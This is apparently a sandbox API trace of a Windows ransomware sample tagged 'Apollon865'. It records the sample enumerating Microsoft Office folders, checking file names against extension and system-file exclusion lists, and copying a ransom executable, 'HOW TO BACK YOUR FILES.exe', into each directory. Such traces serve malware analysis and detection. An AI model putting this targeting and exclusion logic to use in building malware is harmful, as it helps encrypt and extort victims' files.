	[0070.288] lstrlenW (lpString="adf") returned 3
	[0070.288] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0070.288] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SendToOneNOteFilter.dll" | out: lpString1="SendToOneNOteFilter.dll") returned="SendToOneNOteFilter.dll"
	[0070.288] lstrlenW (lpString="SendToOneNOteFilter.dll") returned 23
	[0070.288] lstrlenW (lpString="Apollon865") returned 10
	[0070.288] lstrcmpiW (lpString1="Filter.dll", lpString2="Apollon865") returned 1
	[0070.288] lstrlenW (lpString=".dll") returned 4
	[0070.288] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2=".dll") returned 1
	[0070.288] lstrlenW (lpString=".lnk") returned 4
	[0070.288] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2=".lnk") returned 1
	[0070.288] lstrlenW (lpString=".ini") returned 4
	[0070.288] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2=".ini") returned 1
	[0070.288] lstrlenW (lpString=".sys") returned 4
	[0070.288] lstrcmpiW (lpString1="SendToOneNOteFilter.dll", lpString2=".sys") returned 1
	[0070.288] lstrlenW (lpString="SendToOneNOteFilter.dll") returned 23
	[0070.288] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SendtoOneNoteFilter.gpd" | out: lpString1="SendtoOneNoteFilter.gpd") returned="SendtoOneNoteFilter.gpd"
	[0070.288] lstrlenW (lpString="SendtoOneNoteFilter.gpd") returned 23
	[0070.288] lstrlenW (lpString="Apollon865") returned 10
	[0070.288] lstrcmpiW (lpString1="Filter.gpd", lpString2="Apollon865") returned 1
	[0070.288] lstrlenW (lpString=".dll") returned 4
	[0070.288] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2=".dll") returned 1
	[0070.288] lstrlenW (lpString=".lnk") returned 4
	[0070.289] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2=".lnk") returned 1
	[0070.289] lstrlenW (lpString=".ini") returned 4
	[0070.289] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2=".ini") returned 1
	[0070.289] lstrlenW (lpString=".sys") returned 4
	[0070.289] lstrcmpiW (lpString1="SendtoOneNoteFilter.gpd", lpString2=".sys") returned 1
	[0070.289] lstrlenW (lpString="SendtoOneNoteFilter.gpd") returned 23
	[0070.289] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SendToOneNoteNames.gpd" | out: lpString1="SendToOneNoteNames.gpd") returned="SendToOneNoteNames.gpd"
	[0070.289] lstrlenW (lpString="SendToOneNoteNames.gpd") returned 22
	[0070.289] lstrlenW (lpString="Apollon865") returned 10
	[0070.289] lstrcmpiW (lpString1="eNames.gpd", lpString2="Apollon865") returned 1
	[0070.289] lstrlenW (lpString=".dll") returned 4
	[0070.289] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2=".dll") returned 1
	[0070.289] lstrlenW (lpString=".lnk") returned 4
	[0070.289] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2=".lnk") returned 1
	[0070.289] lstrlenW (lpString=".ini") returned 4
	[0070.289] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2=".ini") returned 1
	[0070.289] lstrlenW (lpString=".sys") returned 4
	[0070.289] lstrcmpiW (lpString1="SendToOneNoteNames.gpd", lpString2=".sys") returned 1
	[0070.289] lstrlenW (lpString="SendToOneNoteNames.gpd") returned 22
	[0070.289] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SendToOneNoteUI.dll" | out: lpString1="SendToOneNoteUI.dll") returned="SendToOneNoteUI.dll"
	[0070.289] lstrlenW (lpString="SendToOneNoteUI.dll") returned 19
	[0070.289] lstrlenW (lpString="Apollon865") returned 10
	[0070.289] lstrcmpiW (lpString1="NoteUI.dll", lpString2="Apollon865") returned 1
	[0070.289] lstrlenW (lpString=".dll") returned 4
	[0070.289] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2=".dll") returned 1
	[0070.289] lstrlenW (lpString=".lnk") returned 4
	[0070.289] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2=".lnk") returned 1
	[0070.289] lstrlenW (lpString=".ini") returned 4
	[0070.289] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2=".ini") returned 1
	[0070.289] lstrlenW (lpString=".sys") returned 4
	[0070.289] lstrcmpiW (lpString1="SendToOneNoteUI.dll", lpString2=".sys") returned 1
	[0070.289] lstrlenW (lpString="SendToOneNoteUI.dll") returned 19
	[0070.290] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA"
	[0070.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a190 | out: hHeap=0x580000) returned 1
	[0070.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0070.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned 48
	[0070.290] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA"
	[0070.290] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.290] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.295] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.295] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41f78650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x41f78650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.295] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.295] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.295] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0070.295] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41f78650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x41f78650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.296] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.296] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0070.296] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0070.296] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0070.296] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x5ebdaad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="APPLAUSE.WAV", cAlternateFileName="")) returned 1
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="Apollon865.txt.exe") returned 1
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2=".") returned 1
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="..") returned 1
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="windows") returned -1
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="bootmgr") returned -1
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="temp") returned -1
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="pagefile.sys") returned -1
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="boot") returned -1
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="ids.txt") returned -1
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="ntuser.dat") returned -1
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="perflogs") returned -1
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="MSBuild") returned -1
	[0070.296] lstrlenW (lpString="APPLAUSE.WAV") returned 12
	[0070.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*") returned 50
	[0070.296] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="APPLAUSE.WAV" | out: lpString1="APPLAUSE.WAV") returned="APPLAUSE.WAV"
	[0070.296] lstrlenW (lpString="APPLAUSE.WAV") returned 12
	[0070.296] lstrlenW (lpString="Apollon865") returned 10
	[0070.296] lstrcmpiW (lpString1="PLAUSE.WAV", lpString2="Apollon865") returned 1
	[0070.296] lstrlenW (lpString=".dll") returned 4
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2=".dll") returned 1
	[0070.296] lstrlenW (lpString=".lnk") returned 4
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2=".lnk") returned 1
	[0070.296] lstrlenW (lpString=".ini") returned 4
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2=".ini") returned 1
	[0070.296] lstrlenW (lpString=".sys") returned 4
	[0070.296] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2=".sys") returned 1
	[0070.296] lstrlenW (lpString="APPLAUSE.WAV") returned 12
	[0070.297] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ARROW.WAV" | out: lpString1="ARROW.WAV") returned="ARROW.WAV"
	[0070.297] lstrlenW (lpString="ARROW.WAV") returned 9
	[0070.297] lstrlenW (lpString="Apollon865") returned 10
	[0070.297] lstrlenW (lpString=".dll") returned 4
	[0070.297] lstrcmpiW (lpString1="ARROW.WAV", lpString2=".dll") returned 1
	[0070.297] lstrlenW (lpString=".lnk") returned 4
	[0070.297] lstrcmpiW (lpString1="ARROW.WAV", lpString2=".lnk") returned 1
	[0070.297] lstrlenW (lpString=".ini") returned 4
	[0070.297] lstrcmpiW (lpString1="ARROW.WAV", lpString2=".ini") returned 1
	[0070.297] lstrlenW (lpString=".sys") returned 4
	[0070.297] lstrcmpiW (lpString1="ARROW.WAV", lpString2=".sys") returned 1
	[0070.297] lstrlenW (lpString="ARROW.WAV") returned 9
	[0070.297] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="BOMB.WAV" | out: lpString1="BOMB.WAV") returned="BOMB.WAV"
	[0070.297] lstrlenW (lpString="BOMB.WAV") returned 8
	[0070.297] lstrlenW (lpString="Apollon865") returned 10
	[0070.297] lstrlenW (lpString=".dll") returned 4
	[0070.297] lstrcmpiW (lpString1="BOMB.WAV", lpString2=".dll") returned 1
	[0070.297] lstrlenW (lpString=".lnk") returned 4
	[0070.297] lstrcmpiW (lpString1="BOMB.WAV", lpString2=".lnk") returned 1
	[0070.297] lstrlenW (lpString=".ini") returned 4
	[0070.297] lstrcmpiW (lpString1="BOMB.WAV", lpString2=".ini") returned 1
	[0070.297] lstrlenW (lpString=".sys") returned 4
	[0070.297] lstrcmpiW (lpString1="BOMB.WAV", lpString2=".sys") returned 1
	[0070.297] lstrlenW (lpString="BOMB.WAV") returned 8
	[0070.297] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="BREEZE.WAV" | out: lpString1="BREEZE.WAV") returned="BREEZE.WAV"
	[0070.297] lstrlenW (lpString="BREEZE.WAV") returned 10
	[0070.297] lstrlenW (lpString="Apollon865") returned 10
	[0070.297] lstrlenW (lpString=".dll") returned 4
	[0070.297] lstrcmpiW (lpString1="BREEZE.WAV", lpString2=".dll") returned 1
	[0070.297] lstrlenW (lpString=".lnk") returned 4
	[0070.298] lstrcmpiW (lpString1="BREEZE.WAV", lpString2=".lnk") returned 1
	[0070.298] lstrlenW (lpString=".ini") returned 4
	[0070.298] lstrcmpiW (lpString1="BREEZE.WAV", lpString2=".ini") returned 1
	[0070.298] lstrlenW (lpString=".sys") returned 4
	[0070.298] lstrcmpiW (lpString1="BREEZE.WAV", lpString2=".sys") returned 1
	[0070.298] lstrlenW (lpString="BREEZE.WAV") returned 10
	[0070.298] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="CAMERA.WAV" | out: lpString1="CAMERA.WAV") returned="CAMERA.WAV"
	[0070.298] lstrlenW (lpString="CAMERA.WAV") returned 10
	[0070.298] lstrlenW (lpString="Apollon865") returned 10
	[0070.298] lstrlenW (lpString=".dll") returned 4
	[0070.298] lstrcmpiW (lpString1="CAMERA.WAV", lpString2=".dll") returned 1
	[0070.298] lstrlenW (lpString=".lnk") returned 4
	[0070.298] lstrcmpiW (lpString1="CAMERA.WAV", lpString2=".lnk") returned 1
	[0070.298] lstrlenW (lpString=".ini") returned 4
	[0070.298] lstrcmpiW (lpString1="CAMERA.WAV", lpString2=".ini") returned 1
	[0070.298] lstrlenW (lpString=".sys") returned 4
	[0070.298] lstrcmpiW (lpString1="CAMERA.WAV", lpString2=".sys") returned 1
	[0070.298] lstrlenW (lpString="CAMERA.WAV") returned 10
	[0070.298] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="CASHREG.WAV" | out: lpString1="CASHREG.WAV") returned="CASHREG.WAV"
	[0070.298] lstrlenW (lpString="CASHREG.WAV") returned 11
	[0070.298] lstrlenW (lpString="Apollon865") returned 10
	[0070.298] lstrcmpiW (lpString1="ASHREG.WAV", lpString2="Apollon865") returned 1
	[0070.298] lstrlenW (lpString=".dll") returned 4
	[0070.298] lstrcmpiW (lpString1="CASHREG.WAV", lpString2=".dll") returned 1
	[0070.298] lstrlenW (lpString=".lnk") returned 4
	[0070.298] lstrcmpiW (lpString1="CASHREG.WAV", lpString2=".lnk") returned 1
	[0070.298] lstrlenW (lpString=".ini") returned 4
	[0070.298] lstrcmpiW (lpString1="CASHREG.WAV", lpString2=".ini") returned 1
	[0070.298] lstrlenW (lpString=".sys") returned 4
	[0070.298] lstrcmpiW (lpString1="CASHREG.WAV", lpString2=".sys") returned 1
	[0070.298] lstrlenW (lpString="CASHREG.WAV") returned 11
	[0070.299] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="CHIMES.WAV" | out: lpString1="CHIMES.WAV") returned="CHIMES.WAV"
	[0070.299] lstrlenW (lpString="CHIMES.WAV") returned 10
	[0070.299] lstrlenW (lpString="Apollon865") returned 10
	[0070.299] lstrlenW (lpString=".dll") returned 4
	[0070.299] lstrcmpiW (lpString1="CHIMES.WAV", lpString2=".dll") returned 1
	[0070.299] lstrlenW (lpString=".lnk") returned 4
	[0070.299] lstrcmpiW (lpString1="CHIMES.WAV", lpString2=".lnk") returned 1
	[0070.299] lstrlenW (lpString=".ini") returned 4
	[0070.299] lstrcmpiW (lpString1="CHIMES.WAV", lpString2=".ini") returned 1
	[0070.299] lstrlenW (lpString=".sys") returned 4
	[0070.299] lstrcmpiW (lpString1="CHIMES.WAV", lpString2=".sys") returned 1
	[0070.299] lstrlenW (lpString="CHIMES.WAV") returned 10
	[0070.299] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="CLICK.WAV" | out: lpString1="CLICK.WAV") returned="CLICK.WAV"
	[0070.299] lstrlenW (lpString="CLICK.WAV") returned 9
	[0070.299] lstrlenW (lpString="Apollon865") returned 10
	[0070.299] lstrlenW (lpString=".dll") returned 4
	[0070.299] lstrcmpiW (lpString1="CLICK.WAV", lpString2=".dll") returned 1
	[0070.299] lstrlenW (lpString=".lnk") returned 4
	[0070.299] lstrcmpiW (lpString1="CLICK.WAV", lpString2=".lnk") returned 1
	[0070.299] lstrlenW (lpString=".ini") returned 4
	[0070.299] lstrcmpiW (lpString1="CLICK.WAV", lpString2=".ini") returned 1
	[0070.299] lstrlenW (lpString=".sys") returned 4
	[0070.299] lstrcmpiW (lpString1="CLICK.WAV", lpString2=".sys") returned 1
	[0070.299] lstrlenW (lpString="CLICK.WAV") returned 9
	[0070.299] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="COIN.WAV" | out: lpString1="COIN.WAV") returned="COIN.WAV"
	[0070.299] lstrlenW (lpString="COIN.WAV") returned 8
	[0070.299] lstrlenW (lpString="Apollon865") returned 10
	[0070.299] lstrlenW (lpString=".dll") returned 4
	[0070.299] lstrcmpiW (lpString1="COIN.WAV", lpString2=".dll") returned 1
	[0070.299] lstrlenW (lpString=".lnk") returned 4
	[0070.299] lstrcmpiW (lpString1="COIN.WAV", lpString2=".lnk") returned 1
	[0070.299] lstrlenW (lpString=".ini") returned 4
	[0070.300] lstrcmpiW (lpString1="COIN.WAV", lpString2=".ini") returned 1
	[0070.300] lstrlenW (lpString=".sys") returned 4
	[0070.300] lstrcmpiW (lpString1="COIN.WAV", lpString2=".sys") returned 1
	[0070.300] lstrlenW (lpString="COIN.WAV") returned 8
	[0070.300] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="DRUMROLL.WAV" | out: lpString1="DRUMROLL.WAV") returned="DRUMROLL.WAV"
	[0070.300] lstrlenW (lpString="DRUMROLL.WAV") returned 12
	[0070.300] lstrlenW (lpString="Apollon865") returned 10
	[0070.300] lstrcmpiW (lpString1="UMROLL.WAV", lpString2="Apollon865") returned 1
	[0070.300] lstrlenW (lpString=".dll") returned 4
	[0070.300] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2=".dll") returned 1
	[0070.300] lstrlenW (lpString=".lnk") returned 4
	[0070.300] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2=".lnk") returned 1
	[0070.300] lstrlenW (lpString=".ini") returned 4
	[0070.300] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2=".ini") returned 1
	[0070.300] lstrlenW (lpString=".sys") returned 4
	[0070.300] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2=".sys") returned 1
	[0070.300] lstrlenW (lpString="DRUMROLL.WAV") returned 12
	[0070.300] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="EXPLODE.WAV" | out: lpString1="EXPLODE.WAV") returned="EXPLODE.WAV"
	[0070.300] lstrlenW (lpString="EXPLODE.WAV") returned 11
	[0070.300] lstrlenW (lpString="Apollon865") returned 10
	[0070.300] lstrcmpiW (lpString1="XPLODE.WAV", lpString2="Apollon865") returned 1
	[0070.300] lstrlenW (lpString=".dll") returned 4
	[0070.300] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2=".dll") returned 1
	[0070.300] lstrlenW (lpString=".lnk") returned 4
	[0070.300] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2=".lnk") returned 1
	[0070.300] lstrlenW (lpString=".ini") returned 4
	[0070.300] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2=".ini") returned 1
	[0070.300] lstrlenW (lpString=".sys") returned 4
	[0070.300] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2=".sys") returned 1
	[0070.300] lstrlenW (lpString="EXPLODE.WAV") returned 11
	[0070.301] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="HAMMER.WAV" | out: lpString1="HAMMER.WAV") returned="HAMMER.WAV"
	[0070.301] lstrlenW (lpString="HAMMER.WAV") returned 10
	[0070.301] lstrlenW (lpString="Apollon865") returned 10
	[0070.301] lstrlenW (lpString=".dll") returned 4
	[0070.301] lstrcmpiW (lpString1="HAMMER.WAV", lpString2=".dll") returned 1
	[0070.301] lstrlenW (lpString=".lnk") returned 4
	[0070.301] lstrcmpiW (lpString1="HAMMER.WAV", lpString2=".lnk") returned 1
	[0070.301] lstrlenW (lpString=".ini") returned 4
	[0070.301] lstrcmpiW (lpString1="HAMMER.WAV", lpString2=".ini") returned 1
	[0070.301] lstrlenW (lpString=".sys") returned 4
	[0070.301] lstrcmpiW (lpString1="HAMMER.WAV", lpString2=".sys") returned 1
	[0070.301] lstrlenW (lpString="HAMMER.WAV") returned 10
	[0070.301] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="LASER.WAV" | out: lpString1="LASER.WAV") returned="LASER.WAV"
	[0070.301] lstrlenW (lpString="LASER.WAV") returned 9
	[0070.301] lstrlenW (lpString="Apollon865") returned 10
	[0070.301] lstrlenW (lpString=".dll") returned 4
	[0070.301] lstrcmpiW (lpString1="LASER.WAV", lpString2=".dll") returned 1
	[0070.301] lstrlenW (lpString=".lnk") returned 4
	[0070.301] lstrcmpiW (lpString1="LASER.WAV", lpString2=".lnk") returned 1
	[0070.301] lstrlenW (lpString=".ini") returned 4
	[0070.301] lstrcmpiW (lpString1="LASER.WAV", lpString2=".ini") returned 1
	[0070.301] lstrlenW (lpString=".sys") returned 4
	[0070.301] lstrcmpiW (lpString1="LASER.WAV", lpString2=".sys") returned 1
	[0070.301] lstrlenW (lpString="LASER.WAV") returned 9
	[0070.301] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="PUSH.WAV" | out: lpString1="PUSH.WAV") returned="PUSH.WAV"
	[0070.301] lstrlenW (lpString="PUSH.WAV") returned 8
	[0070.301] lstrlenW (lpString="Apollon865") returned 10
	[0070.301] lstrlenW (lpString=".dll") returned 4
	[0070.301] lstrcmpiW (lpString1="PUSH.WAV", lpString2=".dll") returned 1
	[0070.301] lstrlenW (lpString=".lnk") returned 4
	[0070.301] lstrcmpiW (lpString1="PUSH.WAV", lpString2=".lnk") returned 1
	[0070.301] lstrlenW (lpString=".ini") returned 4
	[0070.302] lstrcmpiW (lpString1="PUSH.WAV", lpString2=".ini") returned 1
	[0070.302] lstrlenW (lpString=".sys") returned 4
	[0070.302] lstrcmpiW (lpString1="PUSH.WAV", lpString2=".sys") returned 1
	[0070.302] lstrlenW (lpString="PUSH.WAV") returned 8
	[0070.302] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="SUCTION.WAV" | out: lpString1="SUCTION.WAV") returned="SUCTION.WAV"
	[0070.302] lstrlenW (lpString="SUCTION.WAV") returned 11
	[0070.302] lstrlenW (lpString="Apollon865") returned 10
	[0070.302] lstrcmpiW (lpString1="UCTION.WAV", lpString2="Apollon865") returned 1
	[0070.302] lstrlenW (lpString=".dll") returned 4
	[0070.302] lstrcmpiW (lpString1="SUCTION.WAV", lpString2=".dll") returned 1
	[0070.302] lstrlenW (lpString=".lnk") returned 4
	[0070.302] lstrcmpiW (lpString1="SUCTION.WAV", lpString2=".lnk") returned 1
	[0070.302] lstrlenW (lpString=".ini") returned 4
	[0070.302] lstrcmpiW (lpString1="SUCTION.WAV", lpString2=".ini") returned 1
	[0070.302] lstrlenW (lpString=".sys") returned 4
	[0070.302] lstrcmpiW (lpString1="SUCTION.WAV", lpString2=".sys") returned 1
	[0070.302] lstrlenW (lpString="SUCTION.WAV") returned 11
	[0070.302] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="TYPE.WAV" | out: lpString1="TYPE.WAV") returned="TYPE.WAV"
	[0070.302] lstrlenW (lpString="TYPE.WAV") returned 8
	[0070.302] lstrlenW (lpString="Apollon865") returned 10
	[0070.302] lstrlenW (lpString=".dll") returned 4
	[0070.302] lstrcmpiW (lpString1="TYPE.WAV", lpString2=".dll") returned 1
	[0070.302] lstrlenW (lpString=".lnk") returned 4
	[0070.302] lstrcmpiW (lpString1="TYPE.WAV", lpString2=".lnk") returned 1
	[0070.302] lstrlenW (lpString=".ini") returned 4
	[0070.302] lstrcmpiW (lpString1="TYPE.WAV", lpString2=".ini") returned 1
	[0070.302] lstrlenW (lpString=".sys") returned 4
	[0070.302] lstrcmpiW (lpString1="TYPE.WAV", lpString2=".sys") returned 1
	[0070.302] lstrlenW (lpString="TYPE.WAV") returned 8
	[0070.303] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="VOLTAGE.WAV" | out: lpString1="VOLTAGE.WAV") returned="VOLTAGE.WAV"
	[0070.303] lstrlenW (lpString="VOLTAGE.WAV") returned 11
	[0070.303] lstrlenW (lpString="Apollon865") returned 10
	[0070.303] lstrcmpiW (lpString1="OLTAGE.WAV", lpString2="Apollon865") returned 1
	[0070.303] lstrlenW (lpString=".dll") returned 4
	[0070.303] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2=".dll") returned 1
	[0070.303] lstrlenW (lpString=".lnk") returned 4
	[0070.303] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2=".lnk") returned 1
	[0070.303] lstrlenW (lpString=".ini") returned 4
	[0070.303] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2=".ini") returned 1
	[0070.303] lstrlenW (lpString=".sys") returned 4
	[0070.303] lstrcmpiW (lpString1="VOLTAGE.WAV", lpString2=".sys") returned 1
	[0070.303] lstrlenW (lpString="VOLTAGE.WAV") returned 11
	[0070.303] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="WHOOSH.WAV" | out: lpString1="WHOOSH.WAV") returned="WHOOSH.WAV"
	[0070.303] lstrlenW (lpString="WHOOSH.WAV") returned 10
	[0070.303] lstrlenW (lpString="Apollon865") returned 10
	[0070.303] lstrlenW (lpString=".dll") returned 4
	[0070.303] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2=".dll") returned 1
	[0070.303] lstrlenW (lpString=".lnk") returned 4
	[0070.303] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2=".lnk") returned 1
	[0070.303] lstrlenW (lpString=".ini") returned 4
	[0070.303] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2=".ini") returned 1
	[0070.303] lstrlenW (lpString=".sys") returned 4
	[0070.303] lstrcmpiW (lpString1="WHOOSH.WAV", lpString2=".sys") returned 1
	[0070.303] lstrlenW (lpString="WHOOSH.WAV") returned 10
	[0070.303] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="WIND.WAV" | out: lpString1="WIND.WAV") returned="WIND.WAV"
	[0070.303] lstrlenW (lpString="WIND.WAV") returned 8
	[0070.303] lstrlenW (lpString="Apollon865") returned 10
	[0070.303] lstrlenW (lpString=".dll") returned 4
	[0070.303] lstrcmpiW (lpString1="WIND.WAV", lpString2=".dll") returned 1
	[0070.303] lstrlenW (lpString=".lnk") returned 4
	[0070.303] lstrcmpiW (lpString1="WIND.WAV", lpString2=".lnk") returned 1
	[0070.303] lstrlenW (lpString=".ini") returned 4
	[0070.304] lstrcmpiW (lpString1="WIND.WAV", lpString2=".ini") returned 1
	[0070.304] lstrlenW (lpString=".sys") returned 4
	[0070.304] lstrcmpiW (lpString1="WIND.WAV", lpString2=".sys") returned 1
	[0070.304] lstrlenW (lpString="WIND.WAV") returned 8
	[0070.304] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Library", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library"
	[0070.304] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a120 | out: hHeap=0x580000) returned 1
	[0070.304] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0070.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Library") returned 50
	[0070.304] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Library" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Library") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library"
	[0070.304] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.304] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\library\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.322] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
